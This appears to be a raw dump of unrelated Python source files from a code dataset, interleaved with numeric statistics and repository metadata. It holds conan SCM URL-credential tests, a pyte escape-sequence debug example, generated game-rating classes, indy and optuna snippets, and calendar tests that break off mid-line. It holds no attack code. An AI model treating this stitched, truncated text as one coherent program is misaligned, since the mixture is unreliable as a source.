scm.get_url_with_credentials("ssh://github.com/conan-io/conan.git")) def test_ssh_password(self): output = OutputMock() scm = SCMBase(password="pass", output=output) self.assertEqual('ssh://github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM password cannot be set for ssh url, ignoring parameter", output.out) def test_ssh_url_with_username_only_password(self): output = OutputMock() scm = SCMBase(password="pass", output=output) self.assertEqual('ssh://dani@github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://dani@github.com/conan-io/conan.git")) self.assertEqual(1, len(output.out)) self.assertIn("WARN: SCM password cannot be set for ssh url, ignoring parameter", output.out) def test_ssh_url_with_username_only_username(self): output = OutputMock() scm = SCMBase(username="dani", output=output) self.assertEqual('ssh://git@github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://git@github.com/conan-io/conan.git")) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_ssh_url_with_username_and_username_password(self): output = OutputMock() scm = SCMBase(password="pass", username="dani", output=output) self.assertEqual('ssh://git@github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://git@github.com/conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM password cannot be set for ssh url, ignoring parameter", output.out) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_ssh_url_with_username_password_and_only_password(self): output = OutputMock() scm = SCMBase(password="password", output=output) self.assertEqual('ssh://git@github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://git:pass@github.com/conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM password cannot be set for ssh url, ignoring parameter", output.out) self.assertIn("WARN: Password in URL cannot be set for 'ssh' SCM type, removing it", output.out) def test_ssh_url_with_username_password_and_only_username(self): output = OutputMock() scm = SCMBase(username="dani", output=output) self.assertEqual('ssh://git@github.com/conan-io/conan.git', scm.get_url_with_credentials("ssh://git:pass@github.com/conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) self.assertIn("WARN: Password in URL cannot be set for 'ssh' SCM type, removing it", output.out) def test_ssh_url_with_username_password_and_username_password(self): output = OutputMock() scm = SCMBase(password="password", username="dani", output=output) self.assertEqual("ssh://git@github.com/conan-io/conan.git", scm.get_url_with_credentials("ssh://git:pass@github.com/conan-io/conan.git")) self.assertEqual(3, len(output.out)) self.assertIn("WARN: SCM password cannot be set for ssh url, ignoring parameter", output.out) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) self.assertIn("WARN: Password in URL cannot be set for 'ssh' SCM type, removing it", output.out) def test_scp(self): scm = SCMBase() self.assertEqual('git@github.com/conan-io/conan.git', scm.get_url_with_credentials("git@github.com/conan-io/conan.git")) def test_scp_only_password(self): output = OutputMock() scm = SCMBase(password="pass", output=output) self.assertEqual("git@github.com:conan-io/conan.git", scm.get_url_with_credentials("git@github.com:conan-io/conan.git")) self.assertIn("WARN: SCM password cannot be set for scp url, ignoring parameter", output.out) def test_scp_only_username(self): output = OutputMock() scm = SCMBase(username="dani", output=output) self.assertEqual('git@github.com:conan-io/conan.git', scm.get_url_with_credentials("git@github.com:conan-io/conan.git")) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_scp_username_password(self): output = OutputMock() scm = SCMBase(password="pass", username="dani", output=output) self.assertEqual("git@github.com:conan-io/conan.git", scm.get_url_with_credentials("git@github.com:conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM password cannot be set for scp url, ignoring parameter", output.out) self.assertIn("WARN: SCM username got from URL, ignoring 'username' parameter", output.out) def test_scp_url_username_password(self): output = OutputMock() scm = SCMBase(password="password", output=output) self.assertEqual('git:pass@github.com:conan-io/conan.git', scm.get_url_with_credentials("git:pass@github.com:conan-io/conan.git")) self.assertIn("WARN: URL type not supported, ignoring 'username' and 'password' " "parameters", output.out) def test_file_url(self): scm = SCMBase() self.assertEqual("file://path/to/.git", scm.get_url_with_credentials("file://path/to/.git")) def test_file_url_with_username_password_params(self): output = OutputMock() scm = SCMBase(username="user", password="pass", output=output) self.assertEqual('file://path/to/.git', scm.get_url_with_credentials("file://path/to/.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM username cannot be set for file url, ignoring parameter", output.out) self.assertIn("WARN: SCM password cannot be set for file url, ignoring parameter", output.out) def test_git(self): scm = SCMBase() self.assertEqual('git://github.com/conan-io/conan.git', scm.get_url_with_credentials("git://github.com/conan-io/conan.git")) def test_git_only_password(self): output = OutputMock() scm = SCMBase(password="pass", output=output) self.assertEqual("git://github.com/conan-io/conan.git", scm.get_url_with_credentials("git://github.com/conan-io/conan.git")) self.assertIn("WARN: SCM password cannot be set for git url, ignoring parameter", output.out) def test_git_only_username(self): output = OutputMock() scm = SCMBase(username="dani", output=output) self.assertEqual("git://github.com/conan-io/conan.git", scm.get_url_with_credentials("git://github.com/conan-io/conan.git")) self.assertIn("WARN: SCM username cannot be set for git url, ignoring parameter", output.out) def test_git_username_password(self): output = OutputMock() scm = SCMBase(password="pass", username="dani", output=output) self.assertEqual("git://github.com/conan-io/conan.git", scm.get_url_with_credentials("git://github.com/conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM password cannot be set for git url, ignoring parameter", output.out) self.assertIn("WARN: SCM password cannot be set for git url, ignoring parameter", output.out) def test_git_url_username_password(self): output = OutputMock() scm = SCMBase(password="pass", output=output) self.assertEqual("git://github.com/conan-io/conan.git", scm.get_url_with_credentials( "git://user:pass@github.com/conan-io/conan.git")) self.assertEqual(2, len(output.out)) self.assertIn("WARN: SCM password cannot be set for git url, ignoring parameter", output.out) self.assertIn("WARN: Username/Password in URL cannot be set for 'git' SCM type, removing it", output.out)

52.195122

102

0.632886

2,194

17,120

4.799909

0.056062

0.063242

0.084322

0.105403

0.905707

0.896781

0.878549

0.844364

0.829741

0.799449

0

0.006174

0.233703

17,120

327

103

52.35474

0.796555

0.008645

0

0.592593

0

0.011111

0.347106

0.125074

0

0.348148

1

0.159259

false

0.292593

0.011111

0

0.181481

0

null

0

1

0

null

0

1

0

7

83bf87709775b9491340477ec7f030ca39d9e5b7

4,983

py

Python

windows/win32/pyte-0.4.8/examples/debug.py

mytliulei/DCNRobotInstallPackages

224a7d3dec715c8990bd35b7a390b387afd03bc4

[ "Apache-2.0" ]

null

windows/win32/pyte-0.4.8/examples/debug.py

mytliulei/DCNRobotInstallPackages

224a7d3dec715c8990bd35b7a390b387afd03bc4

[ "Apache-2.0" ]

null

windows/win32/pyte-0.4.8/examples/debug.py

mytliulei/DCNRobotInstallPackages

224a7d3dec715c8990bd35b7a390b387afd03bc4

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """ debug ~~~~~ ... what if I need to debug a bunch of escape sequences? Just use :class:`~pyte.streams.DebugStream` instead of the usual :class:`~pyte.streams.Stream`. Note though, that it requires :func:`bytes` as input. :copyright: (c) 2011-2013 by Selectel, see AUTHORS for details. :license: LGPL, see LICENSE for more details. """ from __future__ import print_function, unicode_literals import sys sys.path.append("..") import pyte # A blob of `ADOM` output we need to debug. Hey! I know this is ugly ... blob = b"""\x1b[25d\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[23;15H\x1b[37m\x1b[40mSt:28 Le: 1 Wi: 8 Dx:12 To:31 Ch: 3 Ap: 5 Ma: 9 Pe:11 C\x08\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[5d\x08\x08\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mA\x1b[5;75H\x1b[33m\x1b[40m.\x1b[6d\x08\x1b[0;10;1m\x1b[30m\x1b[40m@\x1b[7;73H^\x1b[8d\x1b[0;10m\x1b[33m\x1b[40m.\x1b[H\x1b[C\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mroad.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[6;75H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mA\x1b[5;72H\x1b[0;10;1m\x1b[37m\x1b[40m^\x1b[6d\x08^\x1b[30m\x1b[40m^@\x1b[0;10m\x1b[33m\x1b[40m.\x1b[7;72H\x1b[0;10;1m\x1b[30m\x1b[40m^\x1b[8d\x1b[0;10m\x1b[33m\x1b[40m..\x1b[0;10;1m\x1b[37m\x1b[40m^\x1b[H\x1b[C\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mroad.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[6;74H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mYou\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mneed\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mspecial\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mequipment\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mto\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mscale\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mthose\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mmountains.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[6;74H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mYou\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mneed\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mspecial\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mequipment\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mto\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mscale\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mthose\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mmountains.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[6;74H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mA\x1b[6;74H\x1b[33m\x1b[40m.\x1b[7d\x08\x1b[0;10;1m\x1b[30m\x1b[40m@\x1b[8;72H\x1b[0;10m\x1b[33m\x1b[40m.\x1b[9d\x1b[0;10;1m\x1b[30m\x1b[40m^\x1b[37m\x1b[40m^^\x1b[H\x1b[C\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mroad.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[7;74H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mYou\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mneed\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mspecial\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mequipment\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mto\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mscale\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mthose\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mmountains.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[7;74H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mA\x1b[7;74H\x1b[33m\x1b[40m.\x1b[8d\x08\x1b[0;10;1m\x1b[30m\x1b[40m@\x1b[9;72H\x1b[0;10m\x1b[33m\x1b[40m~\x1b[10d\x1b[0;10;1m\x1b[30m\x1b[40m^\x1b[H\x1b[C\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mroad.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[8;74H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mA\x1b[7;71H\x1b[0;10;1m\x1b[30m\x1b[40m^\x1b[8d\x08\x1b[0;10m\x1b[33m\x1b[40m..\x1b[0;10;1m\x1b[30m\x1b[40m@\x1b[0;10m\x1b[33m\x1b[40m.\x1b[9;71H.\x1b[10d\x1b[32m\x1b[40m&\x1b[0;10;1m\x1b[30m\x1b[40m^^\x1b[H\x1b[C\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mroad.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[8;73H\x1b[?25h\x1b[?0c\x1b[?25l\x1b[?1c\x1b[H\x1b[K\x1b[2d\x1b[A\x1b[37m\x1b[40mA\x1b[6;71H\x1b[0;10;1m\x1b[37m\x1b[40m^\x1b[7d\x08\x08\x1b[30m\x1b[40m^\x1b[8d\x08^\x1b[0;10m\x1b[33m\x1b[40m.\x1b[0;10;1m\x1b[30m\x1b[40m@\x1b[0;10m\x1b[33m\x1b[40m.\x1b[9;70H.\x1b[10d\x1b[32m\x1b[40m&\x1b[H\x1b[C\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[C\x1b[37m\x1b[40mroad.\x1b[0;10m\x1b[39;49m\x1b[37m\x1b[40m\x1b[24;78H\x1b[8;72H\x1b[?25h\x1b[?0c""" if __name__ == "__main__": stream = pyte.DebugStream() screen = pyte.Screen(80, 24) stream.attach(screen) stream.feed(blob)

160.741935

4,267

0.707606

1,208

4,983

2.907285

0.113411

0.134966

0.202449

0.133827

0.838269

0.833713

0.817198

0.807232

0.774203

0

0.305261

0.034919

4,983

30

4,268

166.1

0.425036

0.085089

0

0.1

0.943559

0.92873

0

1

0

false

0

0.3

0

0.3

0.1

0

null

0

1

0

1

0

1

0

1

0

1

null

0

13

83d758be43f090a4ac18b2de134434fe27cd7e1a

6,821

py

Python

loldib/getratings/models/NA/na_katarina/na_katarina_jng.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_katarina/na_katarina_jng.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_katarina/na_katarina_jng.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_Katarina_Jng_Aatrox(Ratings): pass class NA_Katarina_Jng_Ahri(Ratings): pass class NA_Katarina_Jng_Akali(Ratings): pass class NA_Katarina_Jng_Alistar(Ratings): pass class NA_Katarina_Jng_Amumu(Ratings): pass class NA_Katarina_Jng_Anivia(Ratings): pass class NA_Katarina_Jng_Annie(Ratings): pass class NA_Katarina_Jng_Ashe(Ratings): pass class NA_Katarina_Jng_AurelionSol(Ratings): pass class NA_Katarina_Jng_Azir(Ratings): pass class NA_Katarina_Jng_Bard(Ratings): pass class NA_Katarina_Jng_Blitzcrank(Ratings): pass class NA_Katarina_Jng_Brand(Ratings): pass class NA_Katarina_Jng_Braum(Ratings): pass class NA_Katarina_Jng_Caitlyn(Ratings): pass class NA_Katarina_Jng_Camille(Ratings): pass class NA_Katarina_Jng_Cassiopeia(Ratings): pass class NA_Katarina_Jng_Chogath(Ratings): pass class NA_Katarina_Jng_Corki(Ratings): pass class NA_Katarina_Jng_Darius(Ratings): pass class NA_Katarina_Jng_Diana(Ratings): pass class NA_Katarina_Jng_Draven(Ratings): pass class NA_Katarina_Jng_DrMundo(Ratings): pass class NA_Katarina_Jng_Ekko(Ratings): pass class NA_Katarina_Jng_Elise(Ratings): pass class NA_Katarina_Jng_Evelynn(Ratings): pass class NA_Katarina_Jng_Ezreal(Ratings): pass class NA_Katarina_Jng_Fiddlesticks(Ratings): pass class NA_Katarina_Jng_Fiora(Ratings): pass class NA_Katarina_Jng_Fizz(Ratings): pass class NA_Katarina_Jng_Galio(Ratings): pass class NA_Katarina_Jng_Gangplank(Ratings): pass class NA_Katarina_Jng_Garen(Ratings): pass class NA_Katarina_Jng_Gnar(Ratings): pass class NA_Katarina_Jng_Gragas(Ratings): pass class NA_Katarina_Jng_Graves(Ratings): pass class NA_Katarina_Jng_Hecarim(Ratings): pass class NA_Katarina_Jng_Heimerdinger(Ratings): pass class NA_Katarina_Jng_Illaoi(Ratings): pass class NA_Katarina_Jng_Irelia(Ratings): pass class NA_Katarina_Jng_Ivern(Ratings): pass class NA_Katarina_Jng_Janna(Ratings): pass class NA_Katarina_Jng_JarvanIV(Ratings): pass class NA_Katarina_Jng_Jax(Ratings): pass class NA_Katarina_Jng_Jayce(Ratings): pass class NA_Katarina_Jng_Jhin(Ratings): pass class NA_Katarina_Jng_Jinx(Ratings): pass class NA_Katarina_Jng_Kalista(Ratings): pass class NA_Katarina_Jng_Karma(Ratings): pass class NA_Katarina_Jng_Karthus(Ratings): pass class NA_Katarina_Jng_Kassadin(Ratings): pass class NA_Katarina_Jng_Katarina(Ratings): pass class NA_Katarina_Jng_Kayle(Ratings): pass class NA_Katarina_Jng_Kayn(Ratings): pass class NA_Katarina_Jng_Kennen(Ratings): pass class NA_Katarina_Jng_Khazix(Ratings): pass class NA_Katarina_Jng_Kindred(Ratings): pass class NA_Katarina_Jng_Kled(Ratings): pass class NA_Katarina_Jng_KogMaw(Ratings): pass class NA_Katarina_Jng_Leblanc(Ratings): pass class NA_Katarina_Jng_LeeSin(Ratings): pass class NA_Katarina_Jng_Leona(Ratings): pass class NA_Katarina_Jng_Lissandra(Ratings): pass class NA_Katarina_Jng_Lucian(Ratings): pass class NA_Katarina_Jng_Lulu(Ratings): pass class NA_Katarina_Jng_Lux(Ratings): pass class NA_Katarina_Jng_Malphite(Ratings): pass class NA_Katarina_Jng_Malzahar(Ratings): pass class NA_Katarina_Jng_Maokai(Ratings): pass class NA_Katarina_Jng_MasterYi(Ratings): pass class NA_Katarina_Jng_MissFortune(Ratings): pass class NA_Katarina_Jng_MonkeyKing(Ratings): pass class NA_Katarina_Jng_Mordekaiser(Ratings): pass class NA_Katarina_Jng_Morgana(Ratings): pass class NA_Katarina_Jng_Nami(Ratings): pass class NA_Katarina_Jng_Nasus(Ratings): pass class NA_Katarina_Jng_Nautilus(Ratings): pass class NA_Katarina_Jng_Nidalee(Ratings): pass class NA_Katarina_Jng_Nocturne(Ratings): pass class NA_Katarina_Jng_Nunu(Ratings): pass class NA_Katarina_Jng_Olaf(Ratings): pass class NA_Katarina_Jng_Orianna(Ratings): pass class NA_Katarina_Jng_Ornn(Ratings): pass class NA_Katarina_Jng_Pantheon(Ratings): pass class NA_Katarina_Jng_Poppy(Ratings): pass class NA_Katarina_Jng_Quinn(Ratings): pass class NA_Katarina_Jng_Rakan(Ratings): pass class NA_Katarina_Jng_Rammus(Ratings): pass class NA_Katarina_Jng_RekSai(Ratings): pass class NA_Katarina_Jng_Renekton(Ratings): pass class NA_Katarina_Jng_Rengar(Ratings): pass class NA_Katarina_Jng_Riven(Ratings): pass class NA_Katarina_Jng_Rumble(Ratings): pass class NA_Katarina_Jng_Ryze(Ratings): pass class NA_Katarina_Jng_Sejuani(Ratings): pass class NA_Katarina_Jng_Shaco(Ratings): pass class NA_Katarina_Jng_Shen(Ratings): pass class NA_Katarina_Jng_Shyvana(Ratings): pass class NA_Katarina_Jng_Singed(Ratings): pass class NA_Katarina_Jng_Sion(Ratings): pass class NA_Katarina_Jng_Sivir(Ratings): pass class NA_Katarina_Jng_Skarner(Ratings): pass class NA_Katarina_Jng_Sona(Ratings): pass class NA_Katarina_Jng_Soraka(Ratings): pass class NA_Katarina_Jng_Swain(Ratings): pass class NA_Katarina_Jng_Syndra(Ratings): pass class NA_Katarina_Jng_TahmKench(Ratings): pass class NA_Katarina_Jng_Taliyah(Ratings): pass class NA_Katarina_Jng_Talon(Ratings): pass class NA_Katarina_Jng_Taric(Ratings): pass class NA_Katarina_Jng_Teemo(Ratings): pass class NA_Katarina_Jng_Thresh(Ratings): pass class NA_Katarina_Jng_Tristana(Ratings): pass class NA_Katarina_Jng_Trundle(Ratings): pass class NA_Katarina_Jng_Tryndamere(Ratings): pass class NA_Katarina_Jng_TwistedFate(Ratings): pass class NA_Katarina_Jng_Twitch(Ratings): pass class NA_Katarina_Jng_Udyr(Ratings): pass class NA_Katarina_Jng_Urgot(Ratings): pass class NA_Katarina_Jng_Varus(Ratings): pass class NA_Katarina_Jng_Vayne(Ratings): pass class NA_Katarina_Jng_Veigar(Ratings): pass class NA_Katarina_Jng_Velkoz(Ratings): pass class NA_Katarina_Jng_Vi(Ratings): pass class NA_Katarina_Jng_Viktor(Ratings): pass class NA_Katarina_Jng_Vladimir(Ratings): pass class NA_Katarina_Jng_Volibear(Ratings): pass class NA_Katarina_Jng_Warwick(Ratings): pass class NA_Katarina_Jng_Xayah(Ratings): pass class NA_Katarina_Jng_Xerath(Ratings): pass class NA_Katarina_Jng_XinZhao(Ratings): pass class NA_Katarina_Jng_Yasuo(Ratings): pass class NA_Katarina_Jng_Yorick(Ratings): pass class NA_Katarina_Jng_Zac(Ratings): pass class NA_Katarina_Jng_Zed(Ratings): pass class NA_Katarina_Jng_Ziggs(Ratings): pass class NA_Katarina_Jng_Zilean(Ratings): pass class NA_Katarina_Jng_Zyra(Ratings): pass

16.357314

46

0.776133

972

6,821

5.020576

0.151235

0.197951

0.42418

0.509016

0.814139

0

0.162879

6,821

416

47

16.396635

0.854641

0

0.498195

0

1

0

true

0.498195

0.00361

0

0.501805

0

null

0

1

0

null

0

1

0

1

0

7

83e5562155ab53efab62c578a3de9b14c019bb85

477

py

Python

wrappers/python/tests/did/test_set_did_metadata.py

sklump/indy-sdk

ee05a89ddf60b42f7483bebf2d89a936e12730df

[ "Apache-2.0" ]

636

2017-05-25T07:45:43.000Z

2022-03-23T22:30:34.000Z

wrappers/python/tests/did/test_set_did_metadata.py

Nick-1979/indy-sdk

e5f812e14962f0d51cf96f843033754ff841ce30

[ "Apache-2.0" ]

731

2017-05-29T07:15:08.000Z

2022-03-31T07:55:58.000Z

wrappers/python/tests/did/test_set_did_metadata.py

Nick-1979/indy-sdk

e5f812e14962f0d51cf96f843033754ff841ce30

[ "Apache-2.0" ]

904

2017-05-25T07:45:49.000Z

2022-03-31T07:43:31.000Z

import pytest from indy import did @pytest.mark.asyncio async def test_set_did_metadata_works(wallet_handle, metadata): (_did, _) = await did.create_and_store_my_did(wallet_handle, "{}") await did.set_did_metadata(wallet_handle, _did, metadata) @pytest.mark.asyncio async def test_set_did_metadata_works_for_empty_string(wallet_handle): (_did, _) = await did.create_and_store_my_did(wallet_handle, "{}") await did.set_did_metadata(wallet_handle, _did, '')

29.8125

70

0.779874

71

477

4.746479

0.323944

0.21365

0.166172

0.130564

0.753709

0

0.1174

477

15

71

31.8

0.800475

0

0.4

0

0.008386

0

1

0

true

0

0.2

0

0.2

0

null

1

0

1

0

null

0

1

0

7

83ef585b18e8c1bd48b1a24a50ed08061826bd7b

278

py

Python

optuna_core/trial/__init__.py

hvy/optuna-core

be9df49424aa4022cfcec7d9423768cc39c73ae6

[ "MIT" ]

1

2020-10-09T02:35:25.000Z

optuna_core/trial/__init__.py

hvy/optuna-core

be9df49424aa4022cfcec7d9423768cc39c73ae6

[ "MIT" ]

null

optuna_core/trial/__init__.py

hvy/optuna-core

be9df49424aa4022cfcec7d9423768cc39c73ae6

[ "MIT" ]

null

from optuna_core.trial._base import BaseTrial # NOQA from optuna_core.trial._frozen import create_trial # NOQA from optuna_core.trial._frozen import FrozenTrial # NOQA from optuna_core.trial._state import TrialState # NOQA from optuna_core.trial._trial import Trial # NOQA

46.333333

58

0.820144

41

278

5.292683

0.317073

0.230415

0.322581

0.437788

0.534562

0.322581

0

0.125899

278

5

59

55.6

0.893004

0.086331

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

f7c08425bcf40b7e6ab4bb7ffe5fae3db2db9471

6,484

py

Python

transx2gtfs/tests/test_calendar.py

aclong/transx2gtfs

36d5b87d425c5dd299a3fbc7e973aff91876c2ca

[ "MIT" ]

5

2020-02-10T19:51:12.000Z

2021-03-06T23:52:50.000Z

transx2gtfs/tests/test_calendar.py

aclong/transx2gtfs

36d5b87d425c5dd299a3fbc7e973aff91876c2ca

[ "MIT" ]

23

2020-01-24T13:09:56.000Z

2021-10-05T13:45:50.000Z

transx2gtfs/tests/test_calendar.py

aclong/transx2gtfs

36d5b87d425c5dd299a3fbc7e973aff91876c2ca

[ "MIT" ]

6

2020-01-28T20:46:46.000Z

2021-10-13T14:32:04.000Z

from transx2gtfs.data import get_path import pytest @pytest.fixture def test_tfl_data(): return get_path('test_tfl_format') @pytest.fixture def test_txc21_data(): return get_path('test_txc21_format') @pytest.fixture def test_naptan_data(): return get_path('naptan_stops') def test_calendar_weekday_info_tfl(test_tfl_data): from transx2gtfs.calendar import get_service_operative_days_info import untangle data = untangle.parse(test_tfl_data) operative_days = get_service_operative_days_info(data) # Should return text assert isinstance(operative_days, str) # Should contain text 'Weekend' assert operative_days == 'Weekend' def test_calendar_weekday_info_txc21(test_txc21_data): from transx2gtfs.calendar import get_service_operative_days_info import untangle data = untangle.parse(test_txc21_data) operative_days = get_service_operative_days_info(data) # Should return text assert isinstance(operative_days, str) # Should contain text 'Weekend' assert operative_days == 'Weekend' def test_calendar_dataframe_tfl(test_tfl_data): from transx2gtfs.calendar import get_weekday_info, parse_day_range from pandas import DataFrame from pandas.testing import assert_frame_equal import untangle data = untangle.parse(test_tfl_data) # Get vehicle journeys vjourneys = data.TransXChange.VehicleJourneys.VehicleJourney correct_frames = {'Sunday': DataFrame({'friday': 0.0, 'monday': 0.0, 'saturday': 0.0, 'sunday': 1.0, 'thursday': 0.0, 'tuesday': 0.0, 'wednesday': 0.0}, index=[0]), 'Saturday': DataFrame({'friday': 0.0, 'monday': 0.0, 'saturday': 1.0, 'sunday': 0.0, 'thursday': 0.0, 'tuesday': 0.0, 'wednesday': 0.0}, index=[0]) } for i, journey in enumerate(vjourneys): # Parse weekday operation times from VehicleJourney weekdays = get_weekday_info(journey) # Should return text assert isinstance(weekdays, str) # Should be either 'Sunday' or 'Saturday' assert weekdays in ['Sunday', 'Saturday'] # Get a row of DataFrame calendar_info = parse_day_range(weekdays) assert_frame_equal(calendar_info, correct_frames[weekdays]) def test_calendar_dataframe_txc21(test_txc21_data): from transx2gtfs.calendar import get_weekday_info, parse_day_range from pandas import DataFrame from pandas.testing import assert_frame_equal import untangle data = untangle.parse(test_txc21_data) # Get vehicle journeys vjourneys = data.TransXChange.VehicleJourneys.VehicleJourney correct_frames = {'Sunday': DataFrame({'friday': 0.0, 'monday': 0.0, 'saturday': 0.0, 'sunday': 1.0, 'thursday': 0.0, 'tuesday': 0.0, 'wednesday': 0.0}, index=[0]), 'Saturday': DataFrame({'friday': 0.0, 'monday': 0.0, 'saturday': 1.0, 'sunday': 0.0, 'thursday': 0.0, 'tuesday': 0.0, 'wednesday': 0.0}, index=[0]) } for i, journey in enumerate(vjourneys): # Parse weekday operation times from VehicleJourney weekdays = get_weekday_info(journey) # Should return text assert isinstance(weekdays, str) # Should be either 'Sunday' or 'Saturday' assert weekdays in ['Sunday', 'Saturday'] # Get a row of DataFrame calendar_info = parse_day_range(weekdays) assert_frame_equal(calendar_info, correct_frames[weekdays]) def test_get_calendar_tfl(test_tfl_data): from transx2gtfs.calendar import get_calendar from transx2gtfs.transxchange import get_gtfs_info from pandas import DataFrame from pandas.testing import assert_frame_equal import numpy as np import untangle data = untangle.parse(test_tfl_data) # Get gtfs info gtfs_info = get_gtfs_info(data) assert isinstance(gtfs_info, DataFrame) # Get GTFS calendar gtfs_calendar = get_calendar(gtfs_info) assert isinstance(gtfs_calendar, DataFrame) correct_frame = DataFrame({ 'service_id': ["1-HAM-_-y05-2675925_20190713_20190714_Sunday", "1-HAM-_-y05-2675925_20190713_20190714_Saturday"], 'monday': np.int64([0, 0]), 'tuesday': np.int64([0, 0]), 'wednesday': np.int64([0, 0]), 'thursday': np.int64([0, 0]), 'friday': np.int64([0, 0]), 'saturday': np.int64([0, 1]), 'sunday': np.int64([1, 0]), 'start_date': ["20190713", "20190713"], 'end_date': ["20190714", "20190714"], }, index=[0, 1]) try: # Check that the frames match assert_frame_equal(gtfs_calendar, correct_frame) except AssertionError as e: # Ignore the dtype int32/int64 difference if """Attribute "dtype" are different""" in 